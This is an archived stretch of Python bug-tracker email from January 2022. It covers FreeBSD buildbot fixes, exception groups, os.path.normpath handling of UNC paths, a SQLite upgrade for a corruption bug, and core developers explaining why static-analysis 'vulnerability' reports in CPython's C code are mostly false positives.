<1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641495712.05.0.3723317902.issue46263@roundup.psfhosted.org> Erlend E. Aasland added the comment: Great. I tried the same trick on my VM earlier today, but I was unsure if it was the correct fix :) Thanks! ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:02:26 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 19:02:26 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641495746.8.0.333417201715.issue46263@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:05:44 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 19:05:44 +0000 Subject: [issue45292] Implement PEP 654: Exception Groups In-Reply-To: <1632667049.99.0.614000687095.issue45292@roundup.psfhosted.org> Message-ID: <1641495944.42.0.579638201694.issue45292@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 9925e70e4811841556747a77acd89c1a70bf344a by Irit Katriel in branch 'main': bpo-45292: [PEP-654] exception groups and except* documentation (GH-30158) https://github.com/python/cpython/commit/9925e70e4811841556747a77acd89c1a70bf344a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:06:15 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 19:06:15 +0000 Subject: [issue45292] Implement PEP 654: Exception Groups In-Reply-To: <1632667049.99.0.614000687095.issue45292@roundup.psfhosted.org> Message-ID: <1641495975.4.0.431469235218.issue45292@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:09:19 2022 From: report at bugs.python.org (Hugo Almeida) Date: Thu, 06 Jan 2022 19:09:19 +0000 Subject: [issue46285] http/server.py wont respect its protocol_version In-Reply-To: <1641494361.52.0.586828537376.issue46285@roundup.psfhosted.org> Message-ID: <1641496159.96.0.883320895883.issue46285@roundup.psfhosted.org> Hugo Almeida added the comment: update ====== It seems I've found the problem, http/server.py#L1277-L1288: ``` handler_class = partial(SimpleHTTPRequestHandler, directory=args.directory) ``` Because of `partial` (provide by the functools module), there comes a closure like stuff ? ---------- resolution: -> remind _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:09:47 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 06 Jan 2022 19:09:47 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641496187.16.0.556812836621.issue46263@roundup.psfhosted.org> Eric Snow added the comment: test_pyobject_freed_is_freed is still failing on AMD64 FreeBSD Shared 3.x. ---------- stage: patch review -> status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:13:20 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 19:13:20 +0000 Subject: [issue46286] use the new POP_JUMP_IF_NOT_NONE to simplify except* a bit Message-ID: <1641496400.19.0.803560807878.issue46286@roundup.psfhosted.org> Change by Irit Katriel : ---------- assignee: iritkatriel components: Interpreter Core nosy: iritkatriel priority: normal severity: normal status: open title: use the new POP_JUMP_IF_NOT_NONE to simplify except* a bit type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:13:28 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 06 Jan 2022 19:13:28 +0000 Subject: [issue46208] os.path.normpath change between 3.11.0a2 and 3.11.0a3+ In-Reply-To: <1640893110.04.0.882099438605.issue46208@roundup.psfhosted.org> Message-ID: <1641496408.07.0.720080214454.issue46208@roundup.psfhosted.org> Steve Dower added the comment: New changeset 9c5fa9c97c5c5336e60e4ae7a2e6e3f67acedfc7 by neonene in branch 'main': bpo-46208: Fix normalization of relative paths in _Py_normpath()/os.path.normpath (GH-30362) https://github.com/python/cpython/commit/9c5fa9c97c5c5336e60e4ae7a2e6e3f67acedfc7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:13:47 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 06 Jan 2022 19:13:47 +0000 Subject: [issue46208] os.path.normpath change between 3.11.0a2 and 3.11.0a3+ In-Reply-To: <1640893110.04.0.882099438605.issue46208@roundup.psfhosted.org> Message-ID: <1641496427.07.0.380211767288.issue46208@roundup.psfhosted.org> Change by Steve Dower : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:15:46 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 19:15:46 +0000 Subject: [issue46286] use the new POP_JUMP_IF_NOT_NONE to simplify except* a bit Message-ID: <1641496546.36.0.764059190872.issue46286@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +28646 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30439 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:22:01 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 06 Jan 2022 19:22:01 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641496921.55.0.162608988143.issue46263@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +28647 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30440 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:23:38 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 06 Jan 2022 19:23:38 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641497018.51.0.61037762207.issue46280@roundup.psfhosted.org> Raymond Hettinger added the comment: #244 is a false positive. The value of new_state[i] on line 454 was initialized on line 442 with: new_state[i] = (uint32_t)element. #387 is also a false positive. There is an assertion on the previous line that the item != NULL. That assertion passes because item is the result of a call to deque_popleft() which only returns NULL when the size is zero; however, deque_del_item() is not ever called with size 0 and it has an assertion to that effect. The two callers are deque_remove() and deque_ass_item(). Both calls are guarded by regular tests (not assertions) so that they are only called when the index >= 0 and index < len(deque). ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:36:40 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 06 Jan 2022 19:36:40 +0000 Subject: [issue46287] UNC path normalisation issues on Windows Message-ID: <1641497800.1.0.236156717354.issue46287@roundup.psfhosted.org> New submission from Steve Dower : Taken from https://github.com/python/cpython/pull/30362#issuecomment-1006840632 For Windows, should there be tests for invalid UNC paths such as "//", "//..", "//../..", "//../../..", "//server", "//server/..", and "//server/../.."? This will help to ensure that future changes never allow an invalid path to be normalized as a valid path. Also, it's not a major problem that should prevent merging, but the way repeated slashes are handled prior to the second component of a UNC path is less than ideal: >>> os.path.normpath('//spam///eggs') '\\\\spam\\\\eggs' >>> os.path.normpath('//spam///eggs/..') '\\\\spam\\\\' This case isn't a valid UNC share, since it's just "//spam", without a share component. However, the repeated slashes start the filepath part and should be reduced to a single backslash. That's what the GetFullPathNameW() call does in abspath(): >>> os.path.abspath('//spam///eggs') '\\\\spam\\eggs' >>> os.path.abspath('//spam///eggs/..') '\\\\spam\\' ---------- components: Windows messages: 409903 nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal stage: test needed status: open title: UNC path normalisation issues on Windows type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:36:52 2022 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 06 Jan 2022 19:36:52 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641497812.1.0.00056280147566.issue46280@roundup.psfhosted.org> Eric V. Smith added the comment: I don't want to belabor this, but hey, it's in f-strings! And if it's an actual problem I'd like to fix it. > It can be uninitialized if the parenstack[nested_depth] value is itself initialized, which can happen if the memory block pointed by parenstack has not been initialized to some value after malloc'ed and parenstack[nested_depth] never got a value. parenstack is allocated on the stack, not that that changes the discussion much. It looks like everywhere that parenstack[nested_depth] is read, it's already been written to. Anyway, (if I'm right,) this makes my points that a) there are false positives, and b) we should have separate issues for each actual problem. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:43:25 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 19:43:25 +0000 Subject: [issue46286] use the new POP_JUMP_IF_NOT_NONE to simplify except* a bit Message-ID: <1641498205.75.0.919040890388.issue46286@roundup.psfhosted.org> New submission from miss-islington : New changeset 16dfabf75cd0786781bcd8ded6a12591fb893d68 by Irit Katriel in branch 'main': bpo-46286: use the new POP_JUMP_IF_NOT_NONE opcode to simplify except* (GH-30439) https://github.com/python/cpython/commit/16dfabf75cd0786781bcd8ded6a12591fb893d68 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:49:12 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 19:49:12 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641498552.74.0.410090233162.issue46263@roundup.psfhosted.org> miss-islington added the comment: New changeset c9137d4b638c0699b904011cafe68895d28dd80b by Christian Heimes in branch 'main': bpo-46263: Fix second location that needs MALLOC_CONF on FreeBSD (GH-30440) https://github.com/python/cpython/commit/c9137d4b638c0699b904011cafe68895d28dd80b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:49:22 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 19:49:22 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641498562.12.0.0350317439379.issue46263@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28648 pull_request: https://github.com/python/cpython/pull/30442 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:49:27 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 19:49:27 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641498567.77.0.378855390559.issue46263@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28649 pull_request: https://github.com/python/cpython/pull/30443 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:50:14 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 06 Jan 2022 19:50:14 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641498614.54.0.674231125977.issue46280@roundup.psfhosted.org> Raymond Hettinger added the comment: #324 and #325 are false positives. The result variable is initialized in the preceding lines: if (len_a == length) { left = *((volatile const unsigned char**)&a); result = 0; } if (len_a != length) { left = b; result = 1; } While the code is correct, the second test should be changed to "else". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:54:47 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 19:54:47 +0000 Subject: [issue46286] use the new POP_JUMP_IF_NOT_NONE to simplify except* a bit In-Reply-To: <1641498205.75.0.919040890388.issue46286@roundup.psfhosted.org> Message-ID: <1641498887.22.0.831011936819.issue46286@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:00:52 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 06 Jan 2022 20:00:52 +0000 Subject: [issue46287] UNC path normalisation issues on Windows In-Reply-To: <1641497800.1.0.236156717354.issue46287@roundup.psfhosted.org> Message-ID: <1641499252.92.0.290503032829.issue46287@roundup.psfhosted.org> Steve Dower added the comment: My replies to Eryk's comment copied above: Yes, always more tests :) The behaviour of normpath has always been weird and/or incorrect around invalid UNC paths. For example, on 3.10, normpath("//spam///eggs/..") --> "\\\\spam". Originally, the path was a file path (albeit with an invalid empty share name), and the final path is just a machine name. Currently on 3.11, normpath("//spam///eggs/..") --> "\\\\spam\\\\". This doesn't match GetFullPathNameW, but at least it leaves the end of the path as a file (with an empty share name). I don't think it's necessarily obvious which is correct, though matching GetFullPathNameW is certainly the easiest rule for us to use. Matching previous Python versions is also reasonable, though given the input is invalid for its domain we don't really have any obligation to preserve the result. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:08:57 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 06 Jan 2022 20:08:57 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641499737.59.0.856965034992.issue46280@roundup.psfhosted.org> Raymond Hettinger added the comment: #382 is false positive. The "iterable" variable is only accessed when known to not be NULL. # Line 970 if (iterable != NULL) { if (set_update_internal(so, iterable)) { Py_DECREF(so); return NULL; } } ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:12:17 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 20:12:17 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641499937.1.0.983498769502.issue46263@roundup.psfhosted.org> miss-islington added the comment: New changeset 3cb64ede57bba260228864150123014fc682167e by Miss Islington (bot) in branch '3.10': bpo-46263: Fix second location that needs MALLOC_CONF on FreeBSD (GH-30440) https://github.com/python/cpython/commit/3cb64ede57bba260228864150123014fc682167e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:13:40 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 06 Jan 2022 20:13:40 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641500020.79.0.658255808158.issue46280@roundup.psfhosted.org> Raymond Hettinger added the comment: #420 and #421 are false positives. The value of "c" is initialized a few lines before use. for (;;) { c = tok_nextc(tok); ... } ... tok_backup(tok, c); if (c == '#' || c == '\n' || c == '\\') { ... } ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:14:55 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 06 Jan 2022 20:14:55 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641500095.21.0.00192270948275.issue46280@roundup.psfhosted.org> Terry J. Reedy added the comment: Last I knew, CPython C code is a) regularly scanned by Valgrind and b) Valgrind is somehow informed as to false positives to not report. But I know none of the details. So I suggest you look into this and how to not report the same false positives. I suggest working with the 'main' branch (future 3.11) as nearly all patches are applied there first and backported as appropriate. Infer is a facebook github project, used by by other big corps and projects, so it may be worthwhile working with if false positives can be suppressed. ---------- nosy: +terry.reedy versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:16:03 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 20:16:03 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641500163.04.0.712541114179.issue46263@roundup.psfhosted.org> miss-islington added the comment: New changeset b98730c5165467c6053e7274ae094d733aea804d by Miss Islington (bot) in branch '3.9': bpo-46263: Fix second location that needs MALLOC_CONF on FreeBSD (GH-30440) https://github.com/python/cpython/commit/b98730c5165467c6053e7274ae094d733aea804d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:16:07 2022 From: report at bugs.python.org (Zachary Ware) Date: Thu, 06 Jan 2022 20:16:07 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641500167.13.0.100105759145.issue46280@roundup.psfhosted.org> Change by Zachary Ware : ---------- nosy: +414039482 -zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:20:52 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Thu, 06 Jan 2022 20:20:52 +0000 Subject: [issue46244] typing._TypeVarLike missing __slots__ In-Reply-To: <1641221264.62.0.732771718819.issue46244@roundup.psfhosted.org> Message-ID: <1641500452.74.0.325311581072.issue46244@roundup.psfhosted.org> Change by Arie Bovenberg : ---------- keywords: +patch pull_requests: +28650 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30444 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:24:04 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 06 Jan 2022 20:24:04 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641500644.85.0.262728221374.issue46280@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > Anyway, (if I'm right,) this makes my points that a) there are false positives, and b) we should have separate issues for each actual problem. Sorry Eric, I failed to clarify my comment: you are absolutely right in your analysis. I was trying to backtrack what the tool is thinking and how that code could result in an initialized read based only on static analysis. Your analysis is right and these are indeed false positives. Apologies for the confusion :) ---------- nosy: -414039482 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:26:36 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 20:26:36 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 3.37.1 In-Reply-To: <1638187039.58.0.251846461245.issue45925@roundup.psfhosted.org> Message-ID: <1641500796.97.0.157017870372.issue45925@roundup.psfhosted.org> Erlend E. Aasland added the comment: SQLite 3.37.2 is fresh out now. Copying the release statement from the SQLite forum: Patch release 3.37.2 fixes a potential database corruption bug. Upgrading is recommended for all users. The database corruption bug is obscure and you are unlikely to hit it. But you should probably still upgrade. For more information about the bug see: * https://sqlite.org/forum/forumpost/ac381d64d8 Link to the release page: https://www.sqlite.org/releaselog/3_37_2.html We should consider backporting to 3.10 and 3.9 due to the severity of the bug. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:26:45 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 20:26:45 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 3.37.2 In-Reply-To: <1638187039.58.0.251846461245.issue45925@roundup.psfhosted.org> Message-ID: <1641500805.07.0.191384176087.issue45925@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- title: Upgrade macOS and Windows installers to use SQLite 3.37.1 -> Upgrade macOS and Windows installers to use SQLite 3.37.2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:29:58 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 20:29:58 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 3.37.2 In-Reply-To: <1638187039.58.0.251846461245.issue45925@roundup.psfhosted.org> Message-ID: <1641500998.87.0.289635510746.issue45925@roundup.psfhosted.org> Erlend E. Aasland added the comment: Quoting the SQLite forum post, regarding backporting: There is a bug in versions 3.35.0 (2021-03-12) through 3.37.1 (2021-12-30) which could potentially cause database corruption. Upgrading to version 3.37.2 (2022-01-06) or later is recommended. The Python 3.10 Windows and macOS installers ship with SQLite 3.36.0, so they are vulnerable to this bug. Ditto for the Python 3.9 Windows and macOS installers which ship with SQLite 3.35.5. ---------- versions: +Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:30:19 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 20:30:19 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 3.37.2 In-Reply-To: <1638187039.58.0.251846461245.issue45925@roundup.psfhosted.org> Message-ID: <1641501019.85.0.0104517404286.issue45925@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- versions: +Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:32:56 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 06 Jan 2022 20:32:56 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641501176.12.0.780708250029.issue46280@roundup.psfhosted.org> Raymond Hettinger added the comment: The dead store notices for all the DISPATCH calls in ceval.c are false positives. The "oparg" value is used in many of the case statements. The dead store notices the clinic generated code all relate to "!--noptargs" which is sometimes used in generated code and sometimes not. By always making the assignment, the clinic generator code is made less stateful (I would say "simpler" but that part of clinic.py is a mess). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:42:36 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 06 Jan 2022 20:42:36 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641501756.17.0.569188389501.issue46280@roundup.psfhosted.org> Raymond Hettinger added the comment: #511 and #512 are false positives. The "kind" variable is indeed uninitialized in the bytes_writer case: else if (bytes_writer) { *bytes_str = _PyBytesWriter_Prepare(bytes_writer, *bytes_str, strlen); if (*bytes_str == NULL) { Py_DECREF(scratch); return -1; } } However, the flagged sections cannot be called in the bytes_writer case: if (bytes_writer) { <=="kind" not used here char *p = *bytes_str + strlen; WRITE_DIGITS(p); assert(p == *bytes_str); } else if (kind == PyUnicode_1BYTE_KIND) { <== bytes_write is false Py_UCS1 *p; WRITE_UNICODE_DIGITS(Py_UCS1); } else if (kind == PyUnicode_2BYTE_KIND) { <== bytes_write is false Py_UCS2 *p; WRITE_UNICODE_DIGITS(Py_UCS2); } else { Py_UCS4 *p; assert (kind == PyUnicode_4BYTE_KIND); WRITE_UNICODE_DIGITS(Py_UCS4); } ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:49:27 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 06 Jan 2022 20:49:27 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641502167.94.0.112849691185.issue46280@roundup.psfhosted.org> Raymond Hettinger added the comment: #533, #534, #535, and #536 are false positives for the same reason as #511 and #512. The two "dead stores" in 533 and 534 match the "uninitialized variables" in 535 and 536. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 15:49:48 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 20:49:48 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641502188.88.0.464103020409.issue46263@roundup.psfhosted.org> Erlend E. Aasland added the comment: Both FreeBSD bots are green again. Thank you Christian and Eric! ---------- priority: release blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 16:02:31 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 06 Jan 2022 21:02:31 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641502951.79.0.577729646269.issue46280@roundup.psfhosted.org> Serhiy Storchaka added the comment: The CPython source code is irregularly scanned by different code analysis tools. The results shown extremely high quality of code in comparison with other open source and proprietary code. Most of reports are false positive. Last time real bugs (2 or 3) was discovered by tools several years ago, and one of these bugs was already known and did have a patch on review. So while new tools can discover new bugs (unnoticed by previous scans or recently added), it is expected that most or all reports be false positive. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 16:03:05 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 06 Jan 2022 21:03:05 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641502985.48.0.892800507091.issue46280@roundup.psfhosted.org> Raymond Hettinger added the comment: #584 and #585: The code is correct but there are dead stores only when the asserts are turned off: 2635. carry = v_lshift(w->ob_digit, w1->ob_digit, size_w, d); 2636. assert(carry == 0); Elsewhere we use ifdefs around code like this to suppress warnings about unused variables. In this case though, it would be messy and cause code duplication. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 16:06:47 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 06 Jan 2022 21:06:47 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641503207.52.0.913197227918.issue46280@roundup.psfhosted.org> Raymond Hettinger added the comment: #606 is similar to #584 and #585. The "dead store" is used only in an assertion: have_dict = 1; <== Presumed dead store } assert(have_dict); <== Used in an assert In the case, it would be reasonable to add an #ifdef. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 16:08:09 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 06 Jan 2022 21:08:09 +0000 Subject: [issue46142] python --help output is too long In-Reply-To: <1640043795.98.0.690443918792.issue46142@roundup.psfhosted.org> Message-ID: <1641503289.87.0.484034550428.issue46142@roundup.psfhosted.org> STINNER Victor added the comment: "xoptions" name comes from sys._xoptions (Python) and PyConfig.xoptions (C). Oh, sys._xoptions is a private API... but it's mentioned in the -X documentation: https://docs.python.org/3/using/cmdline.html#cmdoption-X ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 16:12:31 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 06 Jan 2022 21:12:31 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641503551.19.0.812845880517.issue46280@roundup.psfhosted.org> Raymond Hettinger added the comment: #632 should be left as is. Technically, the second "field++" is a dead store. However, it is harmless and has some advantages. It keeps the the assignments parallel and it reduces the chance of introducing a new bug if a new field is added (i.e. like one of the reasons we use trailing commas on multiline dicts and lists). PyStructSequence_SET_ITEM(int_info, field++, PyLong_FromLong(PyLong_SHIFT)); PyStructSequence_SET_ITEM(int_info, field++, PyLong_FromLong(sizeof(digit))); ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 16:21:02 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 06 Jan 2022 21:21:02 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641504062.59.0.412490196046.issue46280@roundup.psfhosted.org> Raymond Hettinger added the comment: #654 is a false positive. The value of ptrs[0] is initialized to NULL via a pointer alias a few lines before: pp = ptrs; ... *pp = NULL; ... if (ptrs[0] == NULL) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 16:29:59 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 06 Jan 2022 21:29:59 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641504599.79.0.549941422795.issue46280@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- keywords: +patch pull_requests: +28651 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30445 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 16:31:17 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 06 Jan 2022 21:31:17 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 3.37.2 In-Reply-To: <1641501019.87.0.828021775606.issue45925@roundup.psfhosted.org> Message-ID: Steve Dower added the comment: Are we enabling the build option they mention on the release page? Or is this only going to affect users who use the pragma? We should obviously do the upgrade, but that will determine how aggressively we ought to be messaging the issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 16:41:37 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 21:41:37 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 3.37.2 In-Reply-To: <1638187039.58.0.251846461245.issue45925@roundup.psfhosted.org> Message-ID: <1641505297.62.0.216944588093.issue45925@roundup.psfhosted.org> Erlend E. Aasland added the comment: As I understand the forum post, you're vulnerable if you use that specific build option (we don't), _or_ if you use the pragma (anyone may do that). So AFAICS, we should upgrade. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 17:05:11 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 06 Jan 2022 22:05:11 +0000 